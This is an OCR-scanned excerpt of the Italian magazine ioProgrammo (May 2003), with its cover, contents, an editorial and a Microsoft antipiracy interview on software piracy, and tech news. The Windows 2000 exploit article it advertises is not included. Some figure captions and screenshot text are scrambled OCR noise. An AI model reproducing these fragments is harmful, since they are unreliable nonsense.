VERSIONE PLUS EURQ
««VISTA * - 00
EXPLOIT, COME PRENDERE "POSSESSO
DI UN SISTEMA WINDOWS 2000 REMOTO
VERSIONE PLUS
RIVISTA+LIBRO+2CD € 15,00
VERSIONE STANDARD
RIVISTA+2CD € 7,70
Periodicità mensile • MAGGIO 2003 • ANNO VII, N.5 (69)
Poste Italiane " Spedizione in a.p. - 45% • art. 2 comma 20/b legge 662/96 - AUT. N. DCDC/033/01/CS/CAL
ROGRAMMO
■ SQL "XML ■ FLASH
Un DATABASE.
mille usi
• Query SQL che restituiscono documenti XML
adattabili a qualunque applicazione
• Realizzare un'applicazione Flash MX
che interagisce con un database
• Creare una base di dati XML per gestire
pagine Web in modo dinamico
Java & Sicurezza
Tutti gli accorgimenti per sviluppare
applicazioni a prova di Hacker
Excel approda
sul Web
Gli strumenti per pubblicare
in Rete oggetti di Office XP
Firma digitale
fai da te
Progettare l'interfaccia
per la gestione delle chiavi
N ALLEGATO
SISTEMA
i Delphi/Kylix, come
sviluppare un'applicazione
che gira anche su Linux
ELETTRONICA
i Pilotare una sequenza
di led tramite porta seriale
ADVANCED
i JDO: memorizzare oggetti
persistenti con Java
CORSI
i Visual Basic, creare help
animati in stile Assistant
di Office XP
i VB .NET: la gestione degli
insiemi di oggetti
con le classi Collection
i C#: una panoramica
completa sulla gestione
di Stringhe e Array
i C++: Template
ed Ereditarietà multipla
MATLAB: guida
all'utilizzo delle f unction
FAQ & TIPS
50
SOLUZIONI
pronte all'uso
9"771128"594641
3DS MAX: l'animazione di un personaggio o, m , =m
ISSN 1128-594X
30069
MASTER
Contents
Anno VII - n. 5 (69) Maggio 2003 ►
► ► ► Lavoro, il nostro primo diritto...
Il problema della pirateria informatica è annoso ed è sempre
fonte di notevoli discussioni, soprattutto tra la Business
Software Alliance (BSA), associazione che difende i diritti delle
software house, e la comunità Open Source, che difende invece
la diffusione del software non proprietario. Inutile stare qui a
filosofare sulle differenze di vedute tra chi difende a spada trat-
ta i diritti d'autore, a qualsiasi costo e senza tener conto dei
danni provocati agli utenti, e tra chi porta avanti un ideale di
libertà di espressione da difendere. Meglio sottolineare, invece,
un equivoco che in Italia, nonostante le posizioni della comunità
Open Source, non sembra ancora essere stato risolto. Mi spiego
meglio: software Ubero non significa software gratis. La comu-
nità Open Source non incoraggia di certo la copia illegale dei
programmi. La licenza GPL prevede infatti la possibilità di pro-
teggere e, conseguentemente, di lucrare sulle parti di un'appli-
cazione realizzate in proprio. Ciò che non permette, e che cerca
anzi di evitare, è di vantare diritti e lucrare su parti di codice
prodotte da altri e inserite, in malafede, nei propri software. Ci
sono tantissimi esempi di applicazioni Linux a pagamento:
StarOffice di Sun, la suite Corel, Oracle, ecc.. Tra l'altro, da
diverse indagini commissionate dalla BSA, emerge un dato
impressionante. Un recente studio di IDC afferma che, se il tasso
di pirateria informatica calasse del 10% da qui al 2006, si pro-
durrebbero in Italia quasi 18000 nuovi posti di lavoro nel setto-
re hi-tech; quello che ci concerne da vicino, per intenderci. Le
cifre, inoltre, non derivano da statistiche ottimistiche, bensì dal-
l'esperienza registrata in altre nazioni, quali il Regno Unito,
dove tra il 1995-2001 si è registrato il tasso di crescita più eleva-
to, con ben 200.000 nuovi posti di lavoro in conseguenza di una
diminuzione del tasso di pirateria. Anche la Spagna ha goduto
di un beneficio simile. Per comprendere meglio il fenomeno,
abbiamo intervistato Norberto Didier, Direttore Antipirateria e
License Compliance di Microsoft Italia. Ne è venuto fuori un
discorso molto interessante, con non poche sorprese. Si tratta di
un aspetto, quello della pirateria, che vede gli sviluppatori coin-
volti in prima persona, soprattutto in un momento di grave crisi
del settore. Abbiamo tutti diritto alla libertà di espressione e di
condivisione della conoscenza, ma anche al lavoro. L'Open
Source è un ideale da rispettare e da condividere. La copia ille-
gale è una mentalità - ma anche un reato - non più sostenibile.
Thomas Zaffino
thomas@edmaster.it
Reportage
6
News
9
Software sul CD-Rom
13
Teoria & Tecnica
27
Realizzare un'applicazione Flash MX che interagisce con un database 27
La sicurezza In Java 39
Soluzioni 34
Sorting Algoritmi efficienti
Exploit
44
Windows 2000 Messo in crisi da uno 0-day exploit
Biblioteca
48
Tips&Tricks
49
Elettronica
56
Il controllo di una sequenza di luci con la porta seriale
Sistema
62
Delphi e Kylix insieme per lo sviluppo cross-platform
I componenti Web di Office XP
I corsi di ioProgrammo
62
67
73
MATLAB • Le funzioni
VB .Net • Le Collezioni (o insiemi) di oggetti
C++ • Template ed ereditarietà
C# • Stringhe e array, un'analisi dettagliata
VB • Caratteristiche avanzate di una guida in linea
JSP • JavaBean un esempio concreto
Multimedia
73
78
83
87
92
96
100
3D Studio Max • Creare una struttura ossea per un personaggio
Advanced Edition
106
Java Data Objects Accesso ai database
Query SQL che restituiscono documenti XML adattabili
a qualunque applicazione
E-government Crittografia e firma digitale (2 parte)
Introduzione al Pattern Recognition (2 parte)
In Box
106
111
116
121
126
Il Sito del mese
128
j(M
ROGRAMMO
Anno VII - N.ro 5 (69) - Maggio 2003 - Periodicità: Mensile
Reg. Trìb. dì CS al n.ro 593 del 11 Febbraio 1997
Cod. ISSN 1128-594X
E-mail: ioprogrammo@edmaster.it
http://www.edmaster.it/ioprogrammo
Direttore Editoriale Massimo Sesti
Direttore Responsabile Romina Sesti
Responsabile Editoriale Gianmarco Bruni
Responsabile Marketing Antonio Medurì
Editor Gianfranco Forlino
Coordinatore redazionale Raffaele del Monaco
Redazione Antonio Pasqua, Thomas Zaffino
Collaboratori M. Autiero, L. Buono, P Canini, M. Casario, P. De
Nictolis, A. Faenza, E. Florio, M. Del Gobbo, F. Grimaldi, F. Lìppo,
G. Naccarato, L. Nanni, S. Marano, A. Marroccelli, F. Mestrone, C.
Pelliccia, F. Sara, G. D. Senatore, L. Spuntoni, F. Vaccaro.
Segreteria di Redazione Veronica Longo
REALIZZAZIONE GRAFICA CROMATIKA S.r.l.
Coord. grafico: Paolo Cristiano
Coord. tecnico: Giancarlo Sicilia
Impaginazione elettronica: Aurelio Monaco
"Rispettare l'uomo e l'ambiente in cui esso vive e lavora è una
parte di tutto ciò che facciamo e di ogni decisione che prendiamo
per assicurare che le nostre operazioni siano basate sul continuo
miglioramento delle performance ambientali e sulla prevenzione
dell 'inquinamento "
-33
Net i Certificato UNI EN ISO 14001
£C0 ^Q^N. 9191 CRMT
ReaMzzazione Multimediale SET S.r.l.
Coordinamento Tecnico Piero Mannelli
Ideazione Grafica Gianluca Carbone
Realizzazione CD-Rom Paolo Iacona
PUBBLICITÀ Edizioni Master S.r.l.
Via Cesare Correnti, 1 - 20123 Milano
Tel. 02 8321612 - Fax 02 8321754
e-mail advertising@edmaster.it
Coordinamento Vendite Digitstaff S.l.
Agenti Vendita Serenella Scarpa, Cornelio Morari
Segreteria Ufficio Vendite Daisy Zonato
EDITORE Edizioni Master S.r.l.
Sede di Milano: Via Cesare Correnti, 1 - 20123 Milano
Tel. 02 8321482 - Fax 02 8321699
Sede di Cosenza: C.da Lecco, zona ind. - 87030 Rende (CS)
Amministratore Unico: Massimo Sesti
ABBONAMENTO E ARRETRATI
Italia: Costo abbonamento annuale base (11 numeri) € 59,00
sconto 30% sul prezzo di copertina pari a € 84,70.
Costo abbonamento Plus (11 numeri + 6 libri) € 89,90, sconto30%
sul prezzo di copertina pari a € 128,50.
Estero: Costo abbonamento annuale (11 numeri) € 169,40, costo
abbonamento Plus (11 numeri + 6 libri) € 257,00.
Costo arretrati (a copia): il doppio del prezzo di copertina + € 5,32
spese (spedizione con corriere). Prima di inviare i pagamenti, verifi-
care la disponibilità delle copie arretrate allo 028321482.
La richiesta contenente i Vs. dati anagrafici e il nome della rivista,
dovrà essere inviata via fax allo 028321699, oppure via posta a EDI-
ZIONI MASTER via Cesare Correnti, 1 - 20123 Milano, dopo avere
effettuato il pagamento, secondo le modalità di seguito elencate:
• cc/p n. 16821878 o vaglia postale (inviando copia della ricevuta del
versamento insieme alla richiesta);
• assegno bancario non trasferibile (da inviarsi in busta chiusa
insieme alla richiesta);
• carta dì credito, circuito VISA, CARTASI', MASTERCARD/ EURO-
CARD, (inviando la Vs. autorizzazione, il numero della carta, la
data di scadenza e la Vs. sottoscrizione insieme alla richiesta).
SI PREGA DI UTILIZZARE IL MODULO RICHIESTA ABBONAMENTO
POSTO NELLE PAGINE INTERNE DELLA RIVISTA. L'abbonamento
verrà attivato sul primo numero utile, successivo alla data della
richiesta.
Sostituzioni: Inviare il CD-Rom difettoso in busta chiusa a:
Edizioni Master Servizio Clienti - Via Cesari Correnti, 1 - 20123
Milano
Assistenza tecnica: ioprogrammo@edmaster.it
Servizio Abbonati:
ftel.02 8321482
> e-mail: servizioabbonati@edmaster.it
Stampa: Elcograf Industria Grafica - Via Nazionale, 14
Beverate di Brìvio (LC)
Stampa CD-Rom: Disctronics Italia S.p.a. Vìa G. Rossini, 4
Tribiano (MI)
Distribuzione per l'Italia: Parrini & C S.p.A. - Roma
Finito di stampare nel mese di Aprile 2003
Nessuna parte della rivista può essere in alcun modo riprodotta
senza autorizzazione scritta della Edizioni Master. Manoscritti e
foto originali, anche se non pubblicati, non si restituiscono. Edi-
zioni Master non si assume alcuna responsabilità per eventuali
errori od omissioni di qualunque tipo. Nomi e marchi protetti
sono citati senza indicare i relativi brevetti. Edizioni Master non
sarà in alcun caso responsabile per i danni diretti e/o indiretti
derivanti dall'utilizzo dei programmi contenuti nel CD-Rom e/o
per eventuali anomalie degli stessi. Nessuna responsabilità è,
inoltre, assunta dalla Edizioni Master per danni o altro derivanti
da virus informatici non riconosciuti dagli antivirus ufficiali
all'atto della masterizzazione del supporto.
sin
A.N.E.S.
*■
L'Universo Tecnologico
www.ltpartal.lt
Edizioni Master edita:
Idea Web, GolOnLine Internet Magazine, Win Magazine,
Quale Computer, DVD Magazine, Office Magazine, ioProgrammo,
Linux Magazine, Softline Software World, MPC, Discovery DVD,
Computer Games Gold, inDVD, I Fantastici CD-Rom,
PC VideoGuide, Il CD-Rom di Idea Web, I Corsi di Win Magazine,
Le Collection.
Antipirateria
Intervista a Norberto Didier, Direttore Antipirateria e License
Compliance di Microsoft Italia.
La Business Software Alliance (BSA -
zuww.bsa.org/italia) è l'organizzazione
che meglio rappresenta l'industria del
software nella lotta contro la pirateria infor-
matica a livello mondiale, non solo per la du-
plicazione abusiva, ma anche per quanto ri-
guarda le nuove frontiere della criminalità
che possono essere classificate come cybercri-
me: cracking, hacking, spamming, distribu-
zione illegale di software sui siti, gestione e
accesso di minori a contenuti pedo-pornogra-
fici, ecc..
Ogni anno, la BSA commissiona alla Interna-
tional Planning & Research Corporation (IPR -
► ►►
www.ipniet.com) una ricerca mondiale che
consente di avere una visione per singola na-
zione, per continente o globale del fenomeno
pirateria. La ricerca è tesa a quantificare, at-
traverso una serie di parametri specifici, le
perdite monetarie per i produttori di softwa-
re. Per quanto riguarda l'Italia, danno eco-
nomico è stimato in 500 milioni di euro solo
per l'anno 2002. La stima, però, è assoluta-
mente conservativa, poiché riguarda la perdi-
ta di fatturato per i produttori di software,
senza considerare, pertanto, il danno socio-
economico connesso. Tra il produttore e l'u-
tente finale, passando per i distributori e per i
rivenditori, la catena del valore è seriamente
danneggiata dal fenomeno della pirateria.
Un altro problema è quello connesso alla con-
correnza sleale prodotta dai rvenditori che di-
stribuiscono software illegale ai soggetti che,
invece, operano in maniera conforme alla leg-
ge. C'è da considerare anche il problema so-
ciale che deriva dai mancati introiti sul gettito
fiscale. In Italia, infine, si stimano in 37.000 i
posti di lavoro non creati. Un danno che si ag-
giunge al già complicatissimo problema della
disoccupazione, soprattutto per quanto ri-
guarda i laureati. "In un periodo di congiun-
tura economica negativa, un fenomeno en-
demico come la pirateria informatica, che
contrae i tassi di sviluppo tagliando posti di
lavoro e non creandone di nuovi, produce
un danno inaccettabile per una società che
vuole dare certezze al futuro dei propri fi-
gli", ci dice Norberto Didier, Direttore Antipi-
rateria e License Compliance di Microsoft Ita-
lia, che abbiamo intervistato per approfondire
il tema della pirateria informatica in Italia.
PIRATERIA E PREZZO
DEL SOFTWARE
L'ampia diffusione delle sue tecnolo-
gie, dei propri sistemi operativi e ap-
http://www.itport al.it
□
plicazioni, anche sul lato server, hanno sicu-
ramente favorito la crescita della quota di
mercato di Microsoft, tanto che si può parla-
re di una posizione di leadership. E' vero an-
che però che Microsoft, nel corso degli ultimi
anni, è il produttore che più ha contribuito al-
l'abbassamento dei prezzi del software, por-
tando sulle scrivanie di tutti gli utenti pro-
dotti di estrema semplicità d'uso e di grande
produttività. Ciononostante, mentre BSA la-
menta mancati introiti per 500 milioni di eu-
ro l'anno, c'è chi accusa Microsoft di costrin-
gere i propri utenti a continui e spesso ingiu-
stificati aggiornamenti, per non parlare dei
prezzi alti dei propri software.
Qual è la posizione dell'azienda su tale que-
stione?
Q L'abbassamento dei prezzi non è una
variabile critica in grado di far dimi-
nuire il fenomeno della pirateria. Da alcuni
studi e da esperimenti effettuati in tutto il
mondo, si dimostra che l'utente pirata non
smette di esserlo in seguito al cambiamento
del prezzo di un software. Non c'è elasticità
del tasso di pirateria, in altri termini, ri-
spetto al prezzo di acquisto del software.
L'utente sa bene di commettere un illecito,
ma continua a farlo perché lo considera er-
roneamente come un reato minore. Questo
fenomeno è diffuso maggiormente nei pae-
si latini, un problema culturale quindi. La
pirateria è un fenomeno in continuo au-
mento, che si sta diffondendo anche a livel-
lo aziendale. Microsoft, in questi anni, ha
sviluppo una politica di formule di licenza,
e relativi prezzi, il più possibile flessibile e
incentrata sulle reali esigenze dei suoi
clienti, tanto da essere stata talvolta critica
per l'ampiezza del portafoglio dei prodotti
International Planning & Research Corporatic-n
■
IT UrnhH SH-in^
nolKior» (or lornt N IhrnM KM culi W™* md MMd oraHonra ìKing CMporMwi
*'»■'■*'» *Q*^»tì->lWe tt pJ*"*^ .■IL,..,- .p.h.r. Ini- -.,10. Ojr : -fl j| y.W MnCH
Punì Buttai)
Canuti Hi
flÉBclpHowl
tà oiout CHitdliiifl eriyìgenitiKs ai tcinp4-l*J fti dot chimi wi i proporne Hid tiAf
MWlrtMfcftlfl »™Jtu*lcmil#dtùH*-v#rrtu(wÌ74 tortliHtt look *l limi w*n pl-nrwij
m^t i """""" "
□
Fig. 1: L'International Planning &
Research Corporation (IPR -
www.iprnet.com) effettua ogni anno una
ricerca mondiale che consente di avere
una visione per singola nazione, per
continente o globale del fenomeno
pirateria.
proposti. Si va dalle formule specifiche per
le utenze domestiche fino alle formule spe-
cifiche per le grandi aziende, anche multi-
locate o di dimensioni multinazionali.
Le formule di licenza permettono non solo
di acquistare il software in maniera perpe-
tua, ma anche di noleggiarlo con particolari
contratti (sottoscrizioni). Sono previste an-
che forme di abbonamento che consentono
all'utente di poter fruire di un prodotto con-
tinuamente aggiornato, al passo con le in-
novazioni tecnologiche, rispondendo alle
sue reali esigenze.
LA CONCORRENZA
OPEN SOURCE
Tornando al prezzo delle applicazioni,
sono ormai numerosi i produttori e di-
stributori di PC che hanno deciso di abbando-
nare la suite Office di Microsoft per proporre ai
loro utenti le suite Open Office.org o Corel. Co-
me si spiegano questi cambiamenti e quali ri-
percussioni ci possono essere per Microsoft?
QI competitor sono temuti come si teme
una squadra di calcio avversaria. Sa-
rebbe presuntuoso dire che Microsoft non
teme i competitor. Esiste però una differenza
tra il software e altri prodotti. Quando si ac-
quista un'auto, ad esempio, la maggiore spe-
sa è costituita dal prezzo di acquisto. Poi, nel
tempo, ci sono costi di esercizio e un valore
residuo che tende a diminuire progressiva-
mente. Per il software, il discorso è comple-
tamente invertito. Il prezzo iniziale è solo
una piccola componente, che arriva al massi-
mo al 15-20% del costo di possesso nell'inte-
ro ciclo di vita del software. Quando si com-
pra un'applicazione, non si può basare la
scelta solo sul prezzo iniziale. Alcuni softwa-
re, che inizialmente hanno un costo inferiore
o che sono addirittura gratuiti, nel lungo pe-
riodo possono avere un costo complessivo
nettamente superiore rispetto ad altri inizial-
mente più cari. Questo potrebbe essere il ca-
so di Office e di prodotti simili realizzati di
terze parti, anche considerando soluzioni
Open Source. Sempre parlando di questa
piattaforma, possiamo tranquillamente af-
fermare che Office costituisce oggi uno stan-
dard de facto, e non de iure, a livello mondia-
le. Su questo pacchetto, sviluppano centinaia
di migliaia di programmatori e decine di mi-
gliaia di ISV (Independent Software Ven-
dor), che producono soluzioni, prodotti e in-
tegrazioni capaci di sfruttare tutte le poten-
zialità della piattaforma Office. Il fatto di po-
ter contare su un ambiente ricchissimo di so-
luzioni è un enorme valore per gli utenti Mi-
crosoft. Office, quindi, non può essere para-
gonato ad altri prodotti, di tipo Open, che al
momento non hanno né una market share né
un'ampiezza di applicazioni disponibili co-
me quelle della suite Microsoft.
L'utilizzo del software libero non risolve di
per sé il fenomeno della pirateria. Le aziende
hanno bisogno di software che possano ga-
rantire alcune funzionalità. Occorre aiutarle
a migliorare le dinamiche del loro parco
software, valorizzandolo e trasformandolo
da costo a valore produttivo. La scelta del
software, quindi, va effettuata in base alle
funzionalità e al costo complessivo di pos-
sesso, cioè quello relativo all'intero ciclo di
Norberto Didier
Norberto Didier
è Direttore
Antipirateria e
License
Compliance di
Microsoft Italia.
In questo ruolo,
riporta alla Direzione
della Divisione
Small &
Medium
Business.
Classe 1965, Didier è originario di
Novara. Laureato in Fisica Nucleare
all'Università di Torino, ha seguito
numerosi corsi di formazione
professionale e manageriale, fra cui il
Master per Responsabili Pianificazione e
Gestione d'Impresa del Centro Estero
Piemonte di Torino.
Lavora presso Microsoft Italia dal 1996,
avendo ricoperto - prima di assumere la
responsabilità delle attività Antipirateria
informatica e License Compliance - il
ruolo di Business Development Manager,
responsabile del marketing, delle
vendite e dei rapporti di collaborazione
con il mondo delle PMI, delle
Associazioni (Confindustria, ConfAPI,
Confartigianato etc.) e dei Partner
coinvolti in progetti con queste realtà.
Prima di giungere in Microsoft, ha
maturato esperienze in Dylog Italia -
come Sales Area Manager - e in Sistemi
(software gestionali per studi
professionali e aziende), dove ha
contribuito alla costituzione e allo
sviluppo del Servizio Marketing,
coordinando attività pubblicitarie,
commerciali, di direct marketing, di
ricerca, analisi e reporting.
http: //www. itportal.it
M
g g
3 ►►► 7
vita. La valutazione delle applicazioni, in de-
finitiva, va fatta sulla qualità del software. Il
fatto che alcuni hardware vendor abbiano
optato per la distribuzione di pacchetti alter-
nativi a Microsoft Office rientra nelle nor-
mali dinamiche di mercato. Sono azioni tese
a fornire più scelta agli utenti. Microsoft non
può che accogliere positivamente queste
scelte, poiché è convinta della validità dei
suoi prodotti. Microsoft è convinta anche
della propria capacità di fare comprendere ai
suoi clienti i benefici derivanti dall'utilizzo
di un prodotto che ha sicuramente un prezzo
superiore: la disponibilità di soluzioni di ter-
ze parti, il supporto tecnico, la ricchezza del-
le funzionalità, l'integrazione con altre ap-
plicazioni, ecc.
□
Fig. 2: Il manifesto della campagna
antipirateria del 2001, che creò non
pochi problemi tra BSA e numerosi
esponenti della comunità Open Source,
in particolare con Emmanuele Somma.
IL PROBLEMA
DELLA PRIVACY
Windows XP rappresenta un punto di
svolta nella distribuzione dei software.
Per la prima volta si chiede all'utente di con-
sentire, al produttore, l'accesso nel suo PC per
effettuare aggiornamenti e vari controlli. Que-
sta scelta è stata considerata da molti come un
gran rischio per la privacy dell'utente. Qual è
la posizione di Microsoft in merito a tale argo-
mento?
QLa tecnologia Product Activation, in-
trodotta con Windows XP, ha l'obietti-
vo di combattere il fenomeno del casual
copyng, cioè della moltiplicazione delle di-
stribuzioni a partire da un CD, costringen-
do l'utente a richiedere una chiave di attiva-
zione gestita da Microsoft, con la possibilità
di effettuare un numero controllato di atti-
vazioni. Tale tecnologia è stata introdotta
solo per i prodotti scatolati (quelli relativi
alla grande distribuzione), mentre nei pro-
dotti destinati alle aziende, che vengono ac-
quistati attraverso contratti di volume, la
tecnologia non è presente. Il Product Acti-
vation non è una tecnologia invasiva. Legge
alcuni parametri fisici della macchina senza
associarli ad un utente. Crea una configura-
zione che sia univoca, associando a questa
configurazione una chiave di sblocco, senza
che alla chiave venga associato il nome di
un utente. Se si effettua qualche modifica
all'hardware, l'utente può richiedere una
nuova chiave di attivazione. Anche cam-
biando l'intero computer si può richiedere
una nuova chiave di attivazione. Chiara-
mente, frequenti cambi di hardware posso-
no essere considerati sospetti da parte di
Microsoft.
Fig. 3: Tra le varie misure adottate da
Microsoft contro la pirateria, c'è quella
dei mistery shopper: acquirenti camuffati
che si recano presso i negozi per verifica-
re la leggittimità dei comportamenti dei
rivenditori, acquistando prodotti Micro-
soft e controllandone la regolarità della
licenza d'uso.
□
Sempre a proposito di Windows XP, la
necessità di mettere il proprio PC sotto
controllo di Microsoft e di altri produttori di
software non finirà per incoraggiare gli utenti
a migrare verso la piattaforma Linux?
L'utente non deve trasmettere nessun
dato a Microsoft, a meno che egli lo
voglia. Viene sottoposto un contratto che
deve essere accettato dall'utente. Non c'è
nessun rischio per la privacy. C'è semmai
un tipo di mentalità che tende a vedere la
Rete come un Grande Fratello che sbircia
nei computer degli utenti...
□
I RIVENDITORI
HARDWARE
Sempre dai dati della ricerca emerge un
quadro preoccupante in merito ai riven-
ditori di hardware. Come si spiega che oltre il
30% dei commercianti di Milano installa ver-
sioni pirata di software Microsoft sui PC in
vendita, e com'è possibile arginare questo pro-
blema?
QSi tratta sicuramente un problema di
cultura del negoziante medio italiano,
che spesso è portato a chiudere la vendita
facendo leva sul prezzo. L'hardware ha un
costo che non può essere abbattuto. Il
software, invece, laddove è possibile pira-
tarlo, può essere portato ad un costo nullo.
Pur di concludere la vendita, il negoziante
commette l'illecito, rinunciando difatti al
guadagno che deriverebbe dalla vendita del
software. È un comportamento paradossale
se si pensa che, non vendendo il prodotto, il
negoziante non ricava alcun guadagno, non
viene pagata PIVA, diminuisce il suo volu-
me d'affari, non può assumere personale,
ecc.. Per fortuna si tratta di una minoranza
di operatori. Il problema può essere supera-
to attraverso una maggiore informazione te-
sa da una parte a far capire i vantaggi deri-
vanti dalla vendita di un software originale,
dall'altra a guidare i consumatori nell'ac-
quisto di software originale.
13
Nelle attività di lotta contro la pirateria e
la contraffazione, numerose aziende ri-
corrono all'impiego dei cosiddetti mistery
shopper: acquirenti camuffati che si recano
presso i rivenditori per verificare eventuali
comportamenti illegittimi. Microsoft è fra que-
ste?
L'attività di controllo sul territorio è
continua e capillare. Nell'arco di ven-
ti giorni, nell'ambito di una campagna ef-
fettuata in Lombardia tra il mese di Ottobre
e il mese di Novembre '02, sono stati con-
trollati oltre 150 punti vendita. Si tratta però
di un'attività molto impegnativa, dal punto
di vista logistico, e molto onerosa. E' co-
munque un modo molto efficace per tutela-
re utenti e rivenditori onesti. Il diritto d'au-
tore è senz'altro un valore della società con-
temporanea che va assolutamente difeso.
Thomas Zaffino
8 ►►► M
9 9
http ://www.itport al.it
NEWS
News
Visual Studio .NET
2003 e Windows
Server 2003
Giovedì 8 maggio, Microsoft
presenterà le nuove versioni
dei suoi prodotti di punta per
i professionisti dell'IT
Nella cornice degli East End Studios
di Milano, Microsoft Italia presen-
terà in grande stile i due attesissimi pro-
dotti. Windows Server 2003 promette di
abbattere i costi di gestione, semplifican-
do e rendendo più sicuri i servizi di
comunicazione e collaborazione anche
grazie ai miglioramenti nella gestione di
Active Directory, in particolar modo per
ciò che riguarda il controllo della identità
degli utenti. L'attesa è grande anche per
ciò che riguarda la nuova architettura di
Internet Information Server 6.0.
Molta carne al fuoco anche per gli svi-
luppatori che potranno scoprire le possi-
bilità offerte dalla integrazione del .NET
Compact Framework per lo sviluppo di
applicazioni per Pocket PC e tutti i
dispositivi compatibili con Windows CE.
Grande attenzione sarà data all'integra-
zione fra l'application server di
Windows Server 2003 e VS.NET 2003,
integrazione che consente di realizzare,
in un ambiente RAD, applicazioni distri-
buite sicure e con interfacce particolar-
m
m
mente accattivanti. L'evento di lancio
non sarà una semplice occasione pubbli-
citaria: divise fra mattina e pomeriggio,
sono previste diverse sessioni, tenute da
qualificati tecnici Microsoft, in cui sarà
spiegato come trarre vantaggio da queste
nuove tecnologie. La partecipazione è
gratuita.
http://www.microsoft.com/italy/windowsserver2003
/default, mspx
Un Flash fuori
dal browser
Macromedia spera
di trasformare le animazioni
in vere e proprie applicazioni
Con la nuova tecnologia Macromedia
Central sarà possibile distribuire
applicazioni che funzionino anche al di
fuori del browser: soluzione ideale per
PC che non godano di una connessione
Always on e per applicazioni mobile.
L'offerta di servizi e applicazioni Web è
in continua crescita, si rende dunque
necessaria la possibilità di utilizzare i
nuovi strumenti sia on-line sia off-line:
con la nuova piattaforma Macromedia, le
applicazioni Flash potranno dunque fun-
zionare al di fuori del browser anche
quando l'utente è disconnesso. All'atto
della connessione, l'applicazione potrà
collegarsi automaticamente al servizio
web o al database remoto, in modo del
tutto trasparente per gli utenti.
Macromedia punta tutto sulla semplicità
di realizzazione di queste tecniche: tutte
queste funzionalità sono già oggi concre-
tizzabili, ma solo a costo di grossi inve-
stimenti. A tutto questo ci potrebbe esse-
re un rovescio della medaglia: tutta l'in-
frastruttura sarà proprietaria, bloccando,
di fatto, una delle caratteristiche che ave-
vano fatto i web services la terra promes-
sa della programmazione. Staremo a
vedere.
www.macromedia.com/devnet/central/
Il futuro è
Smartphone
Secondo IDC Research,
quello degli Smartphone è
un mercato in continua
espansione
Secondo la ricerca, il mercato degli
Smartphone sarà così diviso:
Symbian 53%, Microsoft 27%, Palm 10%,
Linux 4,2%. Ma la battaglia di Microsoft
per la supremazia nel settore dei softwa-
re per cellulari è entrata nel vivo in occa-
sione del convegno annuale della
Cellular Telecommunications and
Internet Association di New Orleans...
Il convegno CTIA si è aperto con l'an-
nuncio che un nuovo produttore,
Research In Motion (RIM), andrà ad
aggiungersi alla lista di coloro che svi-
luppano nuovi telefoni utilizzando il
software Microsoft per la telefonia mobi-
le. Nella sua inusuale apparizione, il pre-
sidente di Microsoft in persona, Bill
Gates, ha preso la parola per promuove-
re il software Pocket PC Phone Edition e
Smartphone 2002 prodotto dalla sua
azienda. Nella convinzione che nell'era
del mobile, del post-PC, Microsoft debba
sostenere un ruolo importante per l'inte-
grazione e l'innovazione delle tecnologie,
Gates affronta senza troppi scrupoli un
mercato ormai sempre più lontano dai
PC che hanno reso Microsoft il principale
http:// www. itportal.it
M a g g
2 3 ►►► 9
w
produttore di software nel mondo.
Microsoft si prepara infatti ad allonta-
narsi ulteriormente da questo settore per
avventurarsi in tutto ciò che è mobile: la
piattaforma Smartphone per i telefoni
cellulari di nuova generazione, Pocket
PC per i PDA, Media2Go per i dispositi-
vi audio/video portatili, SPOT per i gad-
get hi-tech, Smart Display per gli scher-
mi wireless, Tablet PC per i computer
portatili e, più in generale, a tutti i dispo-
sitivi basati su una qualche versione del
sistema operativo embedded Windows
CE, inclusi quelli per il settore automobi-
listico. Per ora si tratta di un mercato
molto nuovo, con circa due milioni di
apparecchi in circolazione. Per avere un
termine di paragone, l'anno scorso sono
stati venduti 400 milioni di cellulari tra-
dizionali. Si prevede, tuttavia, che il mer-
cato dei telefoni cellulari sia in forte cre-
scita. Gates ha affermato che la strategia
chiave di Microsoft è di consentire ai
dispositivi di ogni forma e dimensione
di poter comunicare fra loro e di intera-
gire con i servizi sul web in un modo
standard, così da facilitare la realizzazio-
ne, per gli sviluppatori e le imprese, di
applicazioni in grado di girare su presso-
ché tutti i dispositivi in circolazione. Per
rendere tutto ciò una realtà, Microsoft
punta sulla propria piattaforma MS
.NET, la tecnologia che secondo Gates
sarà presto in grado di girare su qualsia-
si tipo di device, dai server agli orologi
da polso. Pochi giorni prima, Gates ha
annunciato il rilascio della versione fina-
le di .NET Compact Framework, un sot-
toinsieme del cuore della piattaforma
.NET progettata per i dispositivi a basso
consumo, come i PDA e gli Smartphone.
L'obiettivo di Microsoft è supportare e
incoraggiare lo sviluppo di una più vasta
gamma di applicazioni mobile - dalle
applicazioni enterprise ai giochi - basate
su.NET Microsoft ha già anticipato che
tutte le future versioni del proprio
ambiente di sviluppo, a partire da Visual
Studio.NET 2003, supporteranno il .NET
Compact Framework.
La battaglia è appena all'inizio. . .
www.idcresearch.com
Disponibile la Borland
Enterprise Suites
Borland ha rilasciato la
Enterprise Studio per lo
sviluppo di applicazioni su
piattaforma .Net
Borland Enterprise Studio per C++ si
va ad aggiungere a Borland
Enterprise Studio for Java nella nuova
linea di piattaforme di sviluppo per le
imprese che, per la prima volta, copro-
no ben sei settori dello sviluppo: appli-
cation development, testing, deploy-
ment, definition, design e change mana-
gement.
Borland italia ™^—
,~
im\ ...... | ..... | »,.~ | ™. 1 ...,.«.. | _ |«-„„.
Borland Solution Products
.33
Together»
Editi ori for J Builder»
Optimizeit Profiler
for the Microsoft' .NET Framewnrk
8B ™k.. 8 H«. |^ =S «-»^™™»^-l.«-»»
Develop.
KyliK
OntirwEit Profilar
Deploy.
AppCenter
Integrate.
CORBA
■...«.» ■'.■■■-■ «
Bjrl-nd® C.pyialve "99+2(.03 Bodand S.ftaare Comoialidn rulli i diritti
erJ : | n < t , m - l|on|LeaJ |, ,,„■■«,
Le nuove suite mirano a realizzare codi-
ce robusto attraverso fasi di sviluppo
iterative, incrementali e di durata relati-
vamente breve.
Il tutto con strumenti che consentano
una stretta collaborazione fra chi pro-
getta un applicativo sulla base delle
necessità dell'utente e chi lo realizza
effettivamente, senza prediligere un
ambiente operativo (Java, .Net e via
dicendo) rispetto ad altri.
Sono sei le fasi del ciclo di vita dell'ap-
plicazione coperte dai moduli di
Enterprise Studio: la definizione e il
monitoraggio dei requisiti di un proget-
to (con CaliberRM), il disegno dell'appli-
cazione (con Together), lo sviluppo vero
e proprio, il test (con Optimizeit), il
deployment e - infine - la gestione tra-
sversale di tutte le fasi precedenti (con
StarTeam).
L'attività di sviluppo è legata a più pro-
dotti, perché Borland mantiene un
approccio "agnostico" e si rivolge al
mondo Java con JBuilder e a quello
